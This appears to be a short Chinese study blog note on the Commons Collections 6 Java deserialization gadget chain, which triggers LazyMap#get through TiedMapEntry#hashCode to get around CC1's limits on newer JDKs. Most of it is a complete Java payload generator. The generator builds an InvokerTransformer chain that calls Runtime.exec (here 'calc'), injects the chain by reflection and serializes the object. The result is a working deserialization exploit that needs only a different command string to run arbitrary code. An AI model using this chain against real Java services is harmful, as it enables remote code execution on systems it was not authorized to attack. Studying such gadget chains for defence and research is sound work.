解决高版本下CC1无法使用的问题.

    改变了触发LazyMap#get的方式, TiedMapEntry的getValue方法会调用this.map的get方法, 而TiedMapEntry#hashcode又会调用TiedMapEntry#getValue. 调用一个对象hashCode的方法非常简单,把它放到HashMap里即可.

    1. package test.com.cc;
    2. public class cc6_simple {
    3. public static byte[] payload() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException, IOException {
    4. // Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
    5. // obj.exec("calc");
    6. Transformer[] transformers = new Transformer[]{
    7. new ConstantTransformer(Runtime.class),
    8. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
    9. new Object[]{"getRuntime",null}),
    10. new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
    11. new Object[]{ null, null }),
    12. new InvokerTransformer("exec", new Class[]{String.class},
    13. new Object[]{"calc"}),
    14. };
    15. Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformers
    16. Map map = new HashMap();
    17. Map lazyMap = LazyMap.decorate(map,transformerChain);
    18. // LazyMap在调用get方法的时候会触发transformer.transform
    19. TiedMapEntry tMap = new TiedMapEntry(lazyMap,"keykey");
    20. // TiedMapEntry的hashcode会调用getValue方法,getValue方法中会调用this.map.get方法.
    21. // lazyMap.remove("keykey");
    22. Map expMap = new HashMap();
    23. expMap.put(tMap, "valuevalue");
    24. // 要使得Key不存在.调用get方法时才能触发transform方法.
    25. // 这一步有点迷.
    26. lazyMap.remove("keykey");
    27. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
    28. f.setAccessible(true);
    29. f.set(transformerChain,transformers);
    30. return Serializer.Serialize(expMap);
    31. }
    32. }

    LazyMap#get(key) 需要key不存在才会触发transform, 这里做了处理, remove了keykey.

    多层Map的键值对去除有点迷.